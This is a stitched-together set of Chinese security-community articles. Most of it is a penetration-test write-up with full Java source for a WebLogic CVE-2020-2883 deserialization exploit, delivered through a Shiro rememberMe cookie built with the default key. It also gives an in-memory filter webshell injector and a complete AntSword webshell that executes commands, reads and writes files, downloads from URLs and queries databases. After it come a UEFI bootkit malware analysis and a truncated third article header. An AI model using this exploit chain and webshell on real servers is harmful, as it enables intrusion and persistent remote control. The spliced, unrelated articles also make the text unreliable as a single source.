根据之前的我[分析过的payload](https://github.com/Y4er/CVE-2020-2883/blob/master/CVE_2020_2883.java)拿过来，配上Shiro的加密就完事
package org.chabug.cve;
import com.tangosol.util.ValueExtractor;
import com.tangosol.util.comparator.ExtractorComparator;
import com.tangosol.util.extractor.ChainedExtractor;
import com.tangosol.util.extractor.ReflectionExtractor;
import org.chabug.utils.Serializables;
import org.unicodesec.EncryptUtil;
import ysoserial.payloads.util.Reflections;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class CVE_2020_2883 {
public static void main(String[] args) throws Exception {
ReflectionExtractor reflectionExtractor1 = new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[]{}});
ReflectionExtractor reflectionExtractor2 = new ReflectionExtractor("invoke", new Object[]{null, new Object[]{}}); //ReflectionExtractor reflectionExtractor3 = new ReflectionExtractor("exec", new Object[]{new String[]{"calc"}});
ReflectionExtractor reflectionExtractor3 = new ReflectionExtractor("exec", new Object[]{new String[]{"cmd.exe", "/c", "ping test.oq287o.dnslog.cn"}});
ValueExtractor[] valueExtractors = new ValueExtractor[]{
reflectionExtractor1,
reflectionExtractor2,
reflectionExtractor3,
};
Class clazz = ChainedExtractor.class.getSuperclass();
Field m_aExtractor = clazz.getDeclaredField("m_aExtractor");
m_aExtractor.setAccessible(true);
ReflectionExtractor reflectionExtractor = new ReflectionExtractor("toString", new Object[]{});
ValueExtractor[] valueExtractors1 = new ValueExtractor[]{
reflectionExtractor
};
ChainedExtractor chainedExtractor1 = new ChainedExtractor(valueExtractors1);
PriorityQueue queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor1));
queue.add("1");
queue.add("1");
m_aExtractor.set(chainedExtractor1, valueExtractors);
Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = Runtime.class;
queueArray[1] = "1";
byte[] buf = Serializables.serialize(queue);
String key = "kPH+bIxk5D2deZiIxcaaaA==";
String rememberMe = EncryptUtil.shiroEncrypt(key, buf);
System.out.println(rememberMe);
}
}
本机测试，很好收到了请求
因为目标是Linux，改成/bin/bash在测试也收到了dnslog请求，然后随手就是一个反弹shell，却发现死活反弹不回来，然后本地监听80、443、8080等常规端口，用curl、wget等命令触发http请求没收到，判断为只出DNS，难受了啊。
此时再想目标机器是WebLogic，可以直接写jsp，通过不断的dnslog回显，base64拼接截取判断找到了war所在的目录(这个过程简直恶心)，写入txt、jsp、jspx均访问不到，难道是SpringMVC？试了多个目录均不行，并且发现目标机器是通过nginx反代WebLogic，内网中2台WebLogic做负载均衡，读的文件一会有一会没有，恶心，真的恶心，但是又不能不搞。
东西都访问不到，只能写内存马了呗，爷就不信搞不定。
# WebLogic 内存shell
作为一个渗透搬砖工程师，不会分析还不会抄？ 关于WebLogic的内存shell如何实现就不分析了，直接抄宽字节安全的文章[《weblogic
无文件webshell的技术研究》](https://www.cnblogs.com/potatsoSec/p/13162792.html)
最终实现了如下代码
import java.io.*;
import java.lang.reflect.*;
import java.util.Map;
public class WebLogicEcho {
static {
try {
Class<?> executeThread = Class.forName("weblogic.work.ExecuteThread");
Method m = executeThread.getDeclaredMethod("getCurrentWork");
Object currentWork = m.invoke(Thread.currentThread());
Field connectionHandlerF = currentWork.getClass().getDeclaredField("connectionHandler");
connectionHandlerF.setAccessible(true);
Object obj = connectionHandlerF.get(currentWork);
Field requestF = obj.getClass().getDeclaredField("request");
requestF.setAccessible(true);
obj = requestF.get(obj);
Field contextF = obj.getClass().getDeclaredField("context");
contextF.setAccessible(true);
Object context = contextF.get(obj);
Field classLoaderF = context.getClass().getDeclaredField("classLoader");
classLoaderF.setAccessible(true);
ClassLoader cl = (ClassLoader) classLoaderF.get(context);
Field cachedClassesF = cl.getClass().getDeclaredField("cachedClasses");
cachedClassesF.setAccessible(true);
Object cachedClass = cachedClassesF.get(cl);
Method getM = cachedClass.getClass().getDeclaredMethod("get", Object.class);
if (getM.invoke(cachedClass, "shell") == null) {
// this is your shell class byte code
byte[] codeClass = new byte[]{22,22,2,2,2,2,2};
Method defineClass = cl.getClass().getSuperclass().getSuperclass().getSuperclass().getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class evilFilterClass = (Class) defineClass.invoke(cl, codeClass, 0, codeClass.length);
String evilName = "gameName" + System.currentTimeMillis();
String filterName = "gameFilter" + System.currentTimeMillis();
String[] url = new String[]{"/*"};
Method putM = cachedClass.getClass().getDeclaredMethod("put", Object.class, Object.class);
putM.invoke(cachedClass, filterName, evilFilterClass);
Method getFilterManagerM = context.getClass().getDeclaredMethod("getFilterManager");
Object filterManager = getFilterManagerM.invoke(context);
Method registerFilterM = filterManager.getClass().getDeclaredMethod("registerFilter", String.class, String.class, String[].class, String[].class, Map.class, String[].class);
registerFilterM.setAccessible(true);
registerFilterM.invoke(filterManager, evilName, filterName, url, null, null, null);
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
宽字节安全的文章中采用的是base64+gzip的形式拿到shell，我是直接通过读文件的形式拿，因为我遇到了几个大坑，慢慢讲。
最开始的时候我是使用PythonInterpreter类加载WebLogicEcho.class字节码的形式，将我写的执行cmd命令的MyFilter的shell直接编译好，然后读取class字节码写入到codeClass数组中，编译什么的都顺利，就是发送过去之后，WebLogic会直接被打挂，多次调试之后发现是因为Python加载字节码数组太长了，导致溢出进程宕掉了。
可以，后来我用URLClassLoader，我把编译好的WebLogicEcho.class打个jar包，命令执行写入目标然后加载类可以了吧。很好，一切都没问题。代码长这样
package org.chabug.cve;
import org.chabug.utils.Serializables;
import com.tangosol.util.ValueExtractor;
import com.tangosol.util.comparator.ExtractorComparator;
import com.tangosol.util.extractor.ChainedExtractor;
import com.tangosol.util.extractor.ReflectionExtractor;
import org.unicodesec.EncryptUtil;
import ysoserial.payloads.util.Reflections;
import java.lang.reflect.Field;
import java.net.URL;
import java.net.URLClassLoader;
import java.util.PriorityQueue;
public class CVE_2020_2883_URLClassLoader {
public static void main(String[] args) {
try {
ReflectionExtractor extractor1 = new ReflectionExtractor(
"getConstructor",
new Object[]{new Class[]{URL[].class}}
);
// this jar is result of `jar cvf a.jar WebLogicEcho.class`
ReflectionExtractor extractor2 = new ReflectionExtractor(
"newInstance",
// new Object[]{new Object[]{new URL[]{new URL("file:///tmp/tttt.jar")}}}
new Object[]{new Object[]{new URL[]{new URL("file:///C:/Users/Administrator/Desktop/tttt.jar")}}}
);
// load filter shell
ReflectionExtractor extractor3 = new ReflectionExtractor(
"loadClass",
new Object[]{"WebLogicEcho"}
);
ReflectionExtractor extractor4 = new ReflectionExtractor(
"getConstructor",
new Object[]{new Class[]{}}
);
ReflectionExtractor extractor5 = new ReflectionExtractor(
"newInstance",
new Object[]{new Object[]{}}
);
ValueExtractor[] valueExtractors = new ValueExtractor[]{
extractor1,
extractor2,
extractor3,
extractor4,
extractor5,
};
Class clazz = ChainedExtractor.class.getSuperclass();
Field m_aExtractor = clazz.getDeclaredField("m_aExtractor");
m_aExtractor.setAccessible(true);
ReflectionExtractor reflectionExtractor = new ReflectionExtractor("toString", new Object[]{});
ValueExtractor[] valueExtractors1 = new ValueExtractor[]{
reflectionExtractor
};
ChainedExtractor chainedExtractor1 = new ChainedExtractor(valueExtractors1);
PriorityQueue queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor1));
queue.add("1");
queue.add("1");
m_aExtractor.set(chainedExtractor1, valueExtractors);
Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = URLClassLoader.class;
queueArray[1] = "1";
byte[] buf = Serializables.serialize(queue);
String key = "kPH+bIxk5D2deZiIxcaaaA==";
String rememberMe = EncryptUtil.shiroEncrypt(key, buf);
System.out.println(rememberMe);
} catch (Exception e) {
e.printStackTrace();
}
}
}
tttt.jar是WebLogicEcho.class打的jar包。此时WebLogicEcho.class是执行命令的filter
shell，shell实现可见 [MyFilter.java](https://github.com/Y4er/WebLogic-Shiro-shell/blob/master/src/main/java/org/chabug/payloads/MyFilter.java)
哎，都没问题，直接怼上去cmdshell。演示图如下：
> A：命令执行的shell有什么用呢？就是多了个回显结果？爷想要更多的功能，你把哥斯拉shell给爷怼进去！
> 我：啊这？好嘞
不就是哥斯拉的shell吗，改一改就行，然后就打脸了。以下是哥斯拉shell的部分代码
try {
byte[] data = base64Decode(request.getParameter(pass));
data = x(data, false);
if (session.getAttribute("payload") == null) {
session.setAttribute("payload", new X(pageContext.getClass().getClassLoader()).Q(data));
} else {
request.setAttribute("parameters", new String(data));
Object f = ((Class) session.getAttribute("payload")).newInstance();
f.equals(pageContext);
response.getWriter().write(md5.substring(0, 16));
response.getWriter().write(base64Encode(x(base64Decode(f.toString()), true)));
response.getWriter().write(md5.substring(16));
}
} catch (Exception e) {
}
其中pageContext在filter中是没有的，我搜遍了资料，问遍了师傅也没解决，然后准备退而求其次，实现一个冰蝎的shell，然后发现冰蝎也用到了pageContext.............算了
蚁剑吧。下面是我实现的蚁剑的Filter shell.
import javax.servlet.*;
import java.io.*;
import java.net.HttpURLConnection;
import java.net.URL;
import java.sql.*;
import java.text.SimpleDateFormat;
public class MyAntShellFilter implements Filter {
String Pwd = "ant"; //连接密码
// 数据编码 3 选 1
String encoder = ""; // default
// String encoder = "base64"; //base64
// String encoder = "hex"; //hex
String cs = "UTF-8"; // 脚本自身编码
String EC(String s) throws Exception {
if (encoder.equals("hex") || encoder == "hex") return s;
return new String(s.getBytes("ISO-8859-1"), cs);
}
String showDatabases(String encode, String conn) throws Exception {
String sql = "show databases"; // mysql
String columnsep = "\t";
String rowsep = "";
return executeSQL(encode, conn, sql, columnsep, rowsep, false);
}
String showTables(String encode, String conn, String dbname) throws Exception {
String sql = "show tables from " + dbname; // mysql
String columnsep = "\t";
String rowsep = "";
return executeSQL(encode, conn, sql, columnsep, rowsep, false);
}
String showColumns(String encode, String conn, String dbname, String table) throws Exception {
String columnsep = "\t";
String rowsep = "";
String sql = "select * from " + dbname + "." + table + " limit 0,0"; // mysql
return executeSQL(encode, conn, sql, columnsep, rowsep, true);
}
String query(String encode, String conn, String sql) throws Exception {
String columnsep = "\t|\t"; // general
String rowsep = "\r\n";
return executeSQL(encode, conn, sql, columnsep, rowsep, true);
}
String executeSQL(String encode, String conn, String sql, String columnsep, String rowsep, boolean needcoluname)
throws Exception {
String ret = "";
conn = (EC(conn));
String[] x = conn.trim().replace("\r\n", "\n").split("\n");
Class.forName(x[0].trim());
String url = x[1] + "&characterEncoding=" + decode(EC(encode), encoder);
Connection c = DriverManager.getConnection(url);
Statement stmt = c.createStatement();
ResultSet rs = stmt.executeQuery(sql);
ResultSetMetaData rsmd = rs.getMetaData();
if (needcoluname) {
for (int i = 1; i <= rsmd.getColumnCount(); i++) {
String columnName = rsmd.getColumnName(i);
ret += columnName + columnsep;
}
ret += rowsep;
}
while (rs.next()) {
for (int i = 1; i <= rsmd.getColumnCount(); i++) {
String columnValue = rs.getString(i);
ret += columnValue + columnsep;
}
ret += rowsep;
}
return ret;
}
String WwwRootPathCode(ServletRequest r) throws Exception {
String d = this.getClass().getClassLoader().getResource("/").getPath();
String s = "";
if (!d.substring(0, 1).equals("/")) {
File[] roots = File.listRoots();
for (int i = 0; i < roots.length; i++) {
s += roots[i].toString().substring(0, 2) + "";
}
} else {
s += "/";
}
return s;
}
String FileTreeCode(String dirPath) throws Exception {
File oF = new File(dirPath), l[] = oF.listFiles();
String s = "", sT, sQ, sF = "";
java.util.Date dt;
SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
for (int i = 0; i < l.length; i++) {
dt = new java.util.Date(l[i].lastModified());
sT = fm.format(dt);
sQ = l[i].canRead() ? "R" : "";
sQ += l[i].canWrite() ? " W" : "";
if (l[i].isDirectory()) {
s += l[i].getName() + "/\t" + sT + "\t" + l[i].length() + "\t" + sQ + "\n";
} else {
sF += l[i].getName() + "\t" + sT + "\t" + l[i].length() + "\t" + sQ + "\n";
}
}
return s += sF;
}
String ReadFileCode(String filePath) throws Exception {
String l = "", s = "";
BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(new File(filePath))));
while ((l = br.readLine()) != null) {
s += l + "\r\n";
}
br.close();
return s;
}
String WriteFileCode(String filePath, String fileContext) throws Exception {
BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(filePath))));
bw.write(fileContext);
bw.close();
return "1";
}
String DeleteFileOrDirCode(String fileOrDirPath) throws Exception {
File f = new File(fileOrDirPath);
if (f.isDirectory()) {
File x[] = f.listFiles();
for (int k = 0; k < x.length; k++) {
if (!x[k].delete()) {
DeleteFileOrDirCode(x[k].getPath());
}
}
}
f.delete();
return "1";
}
void DownloadFileCode(String filePath, ServletResponse r) throws Exception {
int n;
byte[] b = new byte[512];
r.reset();
ServletOutputStream os = r.getOutputStream();
BufferedInputStream is = new BufferedInputStream(new FileInputStream(filePath));
os.write(("->|").getBytes(), 0, 3);
while ((n = is.read(b, 0, 512)) != -1) {
os.write(b, 0, n);
}
os.write(("|<-").getBytes(), 0, 3);
os.close();
is.close();
}
String UploadFileCode(String savefilePath, String fileHexContext) throws Exception {
String h = "0123456789ABCDEF";
File f = new File(savefilePath);
f.createNewFile();
FileOutputStream os = new FileOutputStream(f);
for (int i = 0; i < fileHexContext.length(); i += 2) {
os.write((h.indexOf(fileHexContext.charAt(i)) << 4 | h.indexOf(fileHexContext.charAt(i + 1))));
}
os.close();
return "1";
}
String CopyFileOrDirCode(String sourceFilePath, String targetFilePath) throws Exception {
File sf = new File(sourceFilePath), df = new File(targetFilePath);
if (sf.isDirectory()) {
if (!df.exists()) {
df.mkdir();
}
File z[] = sf.listFiles();
for (int j = 0; j < z.length; j++) {
CopyFileOrDirCode(sourceFilePath + "/" + z[j].getName(), targetFilePath + "/" + z[j].getName());
}
} else {
FileInputStream is = new FileInputStream(sf);
FileOutputStream os = new FileOutputStream(df);
int n;
byte[] b = new byte[1024];
while ((n = is.read(b, 0, 1024)) != -1) {
os.write(b, 0, n);
}
is.close();
os.close();
}
return "1";
}
String RenameFileOrDirCode(String oldName, String newName) throws Exception {
File sf = new File(oldName), df = new File(newName);
sf.renameTo(df);
return "1";
}
String CreateDirCode(String dirPath) throws Exception {
File f = new File(dirPath);
f.mkdir();
return "1";
}
String ModifyFileOrDirTimeCode(String fileOrDirPath, String aTime) throws Exception {
File f = new File(fileOrDirPath);
SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
java.util.Date dt = fm.parse(aTime);
f.setLastModified(dt.getTime());
return "1";
}
String WgetCode(String urlPath, String saveFilePath) throws Exception {
URL u = new URL(urlPath);
int n = 0;
FileOutputStream os = new FileOutputStream(saveFilePath);
HttpURLConnection h = (HttpURLConnection) u.openConnection();
InputStream is = h.getInputStream();
byte[] b = new byte[512];
while ((n = is.read(b)) != -1) {
os.write(b, 0, n);
}
os.close();
is.close();
h.disconnect();
return "1";
}
String SysInfoCode(ServletRequest r) throws Exception {
// String d = r.getServletContext().getRealPath("/");
String d = this.getClass().getClassLoader().getResource("/").getPath();
String serverInfo = System.getProperty("os.name");
String separator = File.separator;
String user = System.getProperty("user.name");
String driverlist = WwwRootPathCode(r);
return d + "\t" + driverlist + "\t" + serverInfo + "\t" + user;
}
boolean isWin() {
String osname = System.getProperty("os.name");
osname = osname.toLowerCase();
if (osname.startsWith("win"))
return true;
return false;
}
String ExecuteCommandCode(String cmdPath, String command) throws Exception {
StringBuffer sb = new StringBuffer("");
String[] c = {cmdPath, !isWin() ? "-c" : "/c", command};
Process p = Runtime.getRuntime().exec(c);
CopyInputStream(p.getInputStream(), sb);
CopyInputStream(p.getErrorStream(), sb);
return sb.toString();
}
String decode(String str) {
byte[] bt = null;
try {
sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder();
bt = decoder.decodeBuffer(str);
} catch (IOException e) {
e.printStackTrace();
}
return new String(bt);
}
String decode(String str, String encode) {
if (encode.equals("hex") || encode == "hex") {
if (str == "null" || str.equals("null")) {
return "";
}
StringBuilder sb = new StringBuilder();
StringBuilder temp = new StringBuilder();
try {
for (int i = 0; i < str.length() - 1; i += 2) {
String output = str.substring(i, (i + 2));
int decimal = Integer.parseInt(output, 16);
sb.append((char) decimal);
temp.append(decimal);
}
} catch (Exception e) {
e.printStackTrace();
}
return sb.toString();
} else if (encode.equals("base64") || encode == "base64") {
byte[] bt = null;
try {
sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder();
bt = decoder.decodeBuffer(str);
} catch (IOException e) {
e.printStackTrace();
}
return new String(bt);
}
return str;
}
void CopyInputStream(InputStream is, StringBuffer sb) throws Exception {
String l;
BufferedReader br = new BufferedReader(new InputStreamReader(is));
while ((l = br.readLine()) != null) {
sb.append(l + "\r\n");
}
br.close();
}
public void init(FilterConfig f) throws ServletException {
}
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
if (request.getParameter("size") != null) {
response.setContentType("text/html");
response.setCharacterEncoding(cs);
StringBuffer sb = new StringBuffer("");
try {
String funccode = EC(request.getParameter(Pwd) + "");
String z0 = decode(EC(request.getParameter("z0") + ""), encoder);
String z1 = decode(EC(request.getParameter("z1") + ""), encoder);
String z2 = decode(EC(request.getParameter("z2") + ""), encoder);
String z3 = decode(EC(request.getParameter("z3") + ""), encoder);
String[] pars = {z0, z1, z2, z3};
sb.append("->|");
if (funccode.equals("B")) {
sb.append(FileTreeCode(pars[1]));
} else if (funccode.equals("C")) {
sb.append(ReadFileCode(pars[1]));
} else if (funccode.equals("D")) {
sb.append(WriteFileCode(pars[1], pars[2]));
} else if (funccode.equals("E")) {
sb.append(DeleteFileOrDirCode(pars[1]));
} else if (funccode.equals("F")) {
DownloadFileCode(pars[1], response);
} else if (funccode.equals("U")) {
sb.append(UploadFileCode(pars[1], pars[2]));
} else if (funccode.equals("H")) {
sb.append(CopyFileOrDirCode(pars[1], pars[2]));
} else if (funccode.equals("I")) {
sb.append(RenameFileOrDirCode(pars[1], pars[2]));
} else if (funccode.equals("J")) {
sb.append(CreateDirCode(pars[1]));
} else if (funccode.equals("K")) {
sb.append(ModifyFileOrDirTimeCode(pars[1], pars[2]));
} else if (funccode.equals("L")) {
sb.append(WgetCode(pars[1], pars[2]));
} else if (funccode.equals("M")) {
sb.append(ExecuteCommandCode(pars[1], pars[2]));
} else if (funccode.equals("N")) {
sb.append(showDatabases(pars[0], pars[1]));
} else if (funccode.equals("O")) {
sb.append(showTables(pars[0], pars[1], pars[2]));
} else if (funccode.equals("P")) {
sb.append(showColumns(pars[0], pars[1], pars[2], pars[3]));
} else if (funccode.equals("Q")) {
sb.append(query(pars[0], pars[1], pars[2]));
} else if (funccode.equals("A")) {
sb.append(SysInfoCode(request));
}
} catch (Exception e) {
sb.append("ERROR" + "://" + e.toString());
e.printStackTrace();
}
sb.append("|<-");
response.getWriter().print(sb.toString());
} else {
chain.doFilter(request, response);
}
}
public void destroy() {
}
}
实现蚁剑Filter shell中踩坑发现在WebLogic中
String d = r.getServletContext().getRealPath("/")
这行代码获取的是空的，需要改为
String d = this.getClass().getClassLoader().getResource("/").getPath();
没问题了，编译，读字节码写入到codeClass byte数组中，然后问题又来了，编译不通过.....
codeClass字节码数组太长了，爷吐了。没关系，我写个方法，让他自己从本地读字节码，我通过命令执行把字节码写入就完事了。最终实现如下
import java.io.*;
import java.lang.reflect.*;
import java.util.Map;
public class WebLogicEcho {
static {
try {
Class<?> executeThread = Class.forName("weblogic.work.ExecuteThread");
Method m = executeThread.getDeclaredMethod("getCurrentWork");
Object currentWork = m.invoke(Thread.currentThread());
Field connectionHandlerF = currentWork.getClass().getDeclaredField("connectionHandler");
connectionHandlerF.setAccessible(true);
Object obj = connectionHandlerF.get(currentWork);
Field requestF = obj.getClass().getDeclaredField("request");
requestF.setAccessible(true);
obj = requestF.get(obj);
Field contextF = obj.getClass().getDeclaredField("context");
contextF.setAccessible(true);
Object context = contextF.get(obj);
Field classLoaderF = context.getClass().getDeclaredField("classLoader");
classLoaderF.setAccessible(true);
ClassLoader cl = (ClassLoader) classLoaderF.get(context);
Field cachedClassesF = cl.getClass().getDeclaredField("cachedClasses");
cachedClassesF.setAccessible(true);
Object cachedClass = cachedClassesF.get(cl);
Method getM = cachedClass.getClass().getDeclaredMethod("get", Object.class);
if (getM.invoke(cachedClass, "shell") == null) {
// byte[] codeClass = getBytesByFile("/tmp/MyAntShellFilter.class");
byte[] codeClass = getBytesByFile("C:/Users/Administrator/Desktop/MyAntShellFilter.class");
Method defineClass = cl.getClass().getSuperclass().getSuperclass().getSuperclass().getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class evilFilterClass = (Class) defineClass.invoke(cl, codeClass, 0, codeClass.length);
String evilName = "gameName" + System.currentTimeMillis();
String filterName = "gameFilter" + System.currentTimeMillis();
String[] url = new String[]{"/*"};
Method putM = cachedClass.getClass().getDeclaredMethod("put", Object.class, Object.class);
putM.invoke(cachedClass, filterName, evilFilterClass);
Method getFilterManagerM = context.getClass().getDeclaredMethod("getFilterManager");
Object filterManager = getFilterManagerM.invoke(context);
Method registerFilterM = filterManager.getClass().getDeclaredMethod("registerFilter", String.class, String.class, String[].class, String[].class, Map.class, String[].class);
registerFilterM.setAccessible(true);
registerFilterM.invoke(filterManager, evilName, filterName, url, null, null, null);
}
} catch (Exception e) {
e.printStackTrace();
}
}
public static byte[] getBytesByFile(String pathStr) {
File file = new File(pathStr);
try {
FileInputStream fis = new FileInputStream(file);
ByteArrayOutputStream bos = new ByteArrayOutputStream(1000);
byte[] b = new byte[1000];
int n;
while ((n = fis.read(b)) != -1) {
bos.write(b, 0, n);
}
fis.close();
byte[] data = bos.toByteArray();
bos.close();
return data;
} catch (Exception e) {
e.printStackTrace();
}
return null;
}
}
捋一下，把MyAntShellFilter.class写入到目标，WebLogicEcho.class打成jar包写入目标，然后CVE_2020_2883_URLClassLoader生成rememberMe的cookie，蚁剑链接，成了！
# 总结
文字能表现出来的东西很表面，因为实际环境中碰到的难题我很难用文字去描述出来，其实当时反代的问题就困扰了我们好久。不过总算历时两周的研究，终于搞定了项目，期间抄的代码无数，很难，但是蚁剑链接success的时候心里的激动是无与伦比的，踩得坑好像也不算什么了。或许这就是平凡的搞站生活中一点点不可多得的喜悦吧。
# 参考
1. <https://mp.weixin.qq.com/s/do88_4Td1CSeKLmFqhGCuQ>
2. <https://www.cnblogs.com/potatsoSec/p/13162792.html>
3. <https://github.com/Y4er/WebLogic-Shiro-shell>
特别感谢宽字节团队@蛋黄 | 社区文章 |
# 【木马分析】谍影追踪：全球首例UEFI_BIOS木马分析
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
**0x00 简介
**
不久前，广州网友李先生向360安全中心求助，反映他的电脑系统自动创建名为aaaabbbb的陌生账号，杀毒软件反复报毒，即使重装系统仍然无法清除病毒。
经过360工程师远程协助的初步判断，李先生电脑主板BIOS很可能感染了恶意代码。为此，我们请李先生把主板邮寄到360公司北京总部进行分析，发现这是一种前所未见的新型BIOS
BOOTKIT。由于它会在系统中设置间谍账号进行远程控制，我们将其命名为谍影木马。
与以往的BIOS恶意代码相比，谍影木马具有更强的兼容性和更高的技术水平：
一、全球首例感染UEFI主板的真实攻击。谍影木马支持的BIOS版本非常多，是目前已知的唯一能够感染UEFI主板的木马。谍影木马会感染UEFI兼容模式的BIOS引导模块，UEFI+GPT模式不受影响。在此前2011年出现的BMW
BIOS木马（国外厂商命名为Mebromi），则仅支持感染特定的Award BIOS；
二、系统兼容性强，支持所有主流的32位和64位Windows平台，包括最新的64位Win10。
图：64位Win10感染谍影木马触发微软PATCH GUARD 导致反复蓝屏
据了解，李先生是由网店购买的此二手主板。根据网络搜索谍影木马的中招现象，李先生的遭遇也并非个例。从现有样本推测，恶意代码可能是由编程器刷入主板BIOS，通过电商渠道贩卖流通。
鉴于主板结构的复杂性和特殊性，现阶段只有重刷BIOS才能够彻底清除谍影木马。以下是对谍影木马技术原理的详细分析。
**0x01 BIOS与UEFI**
BIOS是英文"Basic Input Output
System"的缩略词，直译过来后中文名称就是"基本输入输出系统"。其实，它是一组固化到计算机内主板上一个ROM芯片上的程序，它保存着计算机最重要的基本输入输出的程序、系统设置信息、开机后自检程序和系统自启动程序。优先于操作系统执行，负责加载执行MBR代码，其主要功能是为计算机提供最底层的、最直接的硬件设置和控制。
UEFI（Unified Extensible Firmware
Interface）全称“统一的可扩展固件接口”，是一种新的主板引导项，正被看成是有近20多年历史的BIOS
的继任者，自Win8以来得到了微软的力推。UEFI号称通过保护预启动或预引导进程，可以抵御Bootkit攻击，相比BIOS具有更高的安全性。
**0x02技术分析**
**2.1 CSM模块分析
**
木马位于BIOS文件中 ，主板为ASUS 华硕的 B85M-G-ASUS-0904。和正常的BIOS不同之处，在于木马主板的CSMCORE模块比正常的要大。应该只能在LEGACY
MODE下有效，而通过UEFI启动的应该无效。（CSM（Compatibility support
Module）表示兼容模块，该选项专为兼容只能在legacy模式下工作的设备以及不支持或不能完全支持UEFI的操作系统而设置。）
木马在该BIOS模块中，加入了自己的功能，挂钩系统了正常函数来执行。
正常的函数如下：
木马挂钩了该函数改为：
将原有函数的第一条指令改为CALL，从而获得执行机会：
之后其会判断R9寄存器所指内容是否为3，可能是BIOS初始化成功的一个标志，然后搜索BIOS内部特征码CD 19 B8 00 80 CB 00
应该是 BIOS内部初始化后，调用中断INT19H
实现加载硬盘第一个扇区MBR执行的代码。然后修改0X413处的数据，预留40KB空间，用来存放木马代码，并将BIOS内的代码拷贝到该预留空间。并将前面找到的BIOS内部初始化后，调用中断INT19H
实现加载硬盘第一个扇区MBR执行的代码，改为调用木马自身的代码。
**2.2 INT15 挂钩分析**
然后，返回继续执行，当执行到BIOS初始化好，准备加载磁盘MBR代码的时候，就会执行木马的代码。木马这时候会挂接INT15H中断，然后恢复执行原来的代码，这样就完成了挂钩，后续就和暗云系列的MBR木马相似，通过挂钩INT15H来一步一步的挂钩内存，加载自身。
这样，当系统MBR获得执行的时候，木马已经在内存中挂好了INT15h的HOOK,之后，会HOOK
bootmgr!Archx86TransferTo64BitApplicationAsm获得下次执行机会，然后再HOOK
winload!OslArchTransferToKernel,，然后等内核加载时候会HOOK
ZwCreateSection，从而切入到内核运行，然后会设置线程回调。
**2.3 线程回调挂钩**
接下来会设置线程回调 PsSetCreateThreadNotifyRoutine
和进程回调PsSetCreateProcessNotifyRoutine，进程回调中只打印了下"Process %d Create
%dn"，线程回调才是关键内容。
线程回调中木马判断是否为csrss.exe进程，如果不是则跳过，如果是就创建一个系统线程，
并且插入一个工作线程，将自身的线程回调抹去。
**2.4 内核线程网络下载代码**
在创建的系统线程内会先等待1分钟大概是为了等网络准备好。
然后会尝试使用两种方式去下载恶意Code到内核执行，
优先尝试UDP DownLoadShellCodeByUDP，函数为解析 [www.XXXX.top](http://www.erda158.top/)
域名。
使用0xDEDE43D0 0x8080808，两组DNS域名转化过来，即（222.222.67.208 8.8.8.8）
与[www.XXXXtop](http://www.erda158.top/) 通信端口为0x801F即8064号端口。
优先使用0x3500即53号端口请求域名服务，拿到 [www.XXXX.top](http://www.erda158.top/) 域名对应地址。
先请求服务器，询问Shellcode 长度分片大小，然后一个一个分片处理，最后拼接一起。
发送数据包为，长度为0x10。
接受数据包为：
总长度为0x28，头部长度为0x10，数据部分长度为0x18，校验和为0xd845672a。
Shellcode长度为0x1a32d，总共有 0xd2个分片，每个分片大小为 0x200。
在使用UDP方式收发数据时候会对数据部分进行校验。
校验成功才拼接在一起，否则丢弃，然后再申请非分页内存。
将之前的内存代码拷贝执行，将NT基地址作为参数传入。
**2.5 解密恶意代码和投递APC**
下载下来的代码仅头部可以执行，后面部分为加密数据，需要解密执行。
调用函数为RtlDecompressBuffer，解密后大小为150728，解密方式为 COMPRESSION_FORMAT_LZNT1。
接着会调用填充导入表：
然后调用PsCreateSystemThread创建注入线程。
线程中：
优先查找系统进程注入找到的是spoolsv.exe。
然后再是杀软进程：
申请内存拷贝注入：
插APC注入：
**2.6 执行用户层恶意下载代码**
注入后从应用层执行，代码中包含一个DLL文件，执行函数为申请内存基地址。
然后获取Kernel32 模块基地址，跟 LoadLibraryA GetProcAddress VirtualAlloc，
填充内存中PE文件导入表，填充完成后执行DllMain函数。
会在DllMain中创建线程，执行下载并且运行，根据控制码暂停或者删除相关服务。
线程函数：
提权操作解密下下载地址数据。解密后内容为：
根据控制码暂停或者删除服务：
然后分三种方式运行： (DLL加载，父进程注入，直接创建EXE运行)
**2.7 创建恶意账号**
这里下载下来的是一个EXE，主要功能就是创建了一个管理员账号。
截图：
**0x03结束语**
谍影木马可寄生在包括UEFI主板在内的多种版本BIOS里，非常精细地针对性感染BIOS引导模块，通杀Windows全平台实施远程控制，呈现出高危害、高复杂度和高技术水平的“三高”特点。
为了预防谍影木马，360安全中心建议网友：尽量选择官方渠道购买电脑配件，并开启安全软件实时防护。如果遇到电脑开机登陆界面缓慢、系统出现陌生账号、安全软件反复报毒等可疑情况，最好向安全厂商求助，以防木马病毒对个人数据和财产造成损失。 | 社区文章 |
# 【技术分享】使用任天堂的6502处理器指令对桌面版Linux系统进行漏洞利用
|
##### 译文声明
本文是翻译文章，文章来源：scarybeastsecurity.blogspot.com
原文地址：[ https://scarybeastsecurity.blogspot.com/2016/11/0day-exploit-compromising-linux-desktop.html](
https://scarybeastsecurity.blogspot.com/2016/11/0day-exploit-compromising-linux-desktop.html)
译文仅供参考，具体内容表达以及含义原文为准。
****
****
**翻译：**[ **babyimonfire**
****](http://bobao.360.cn/member/contribute?uid=2815007941)
**预估稿费：260RMB**
******投稿方式：发送邮件至**[ **linwei#360.cn**](mailto:[email protected]) **，或登陆**[
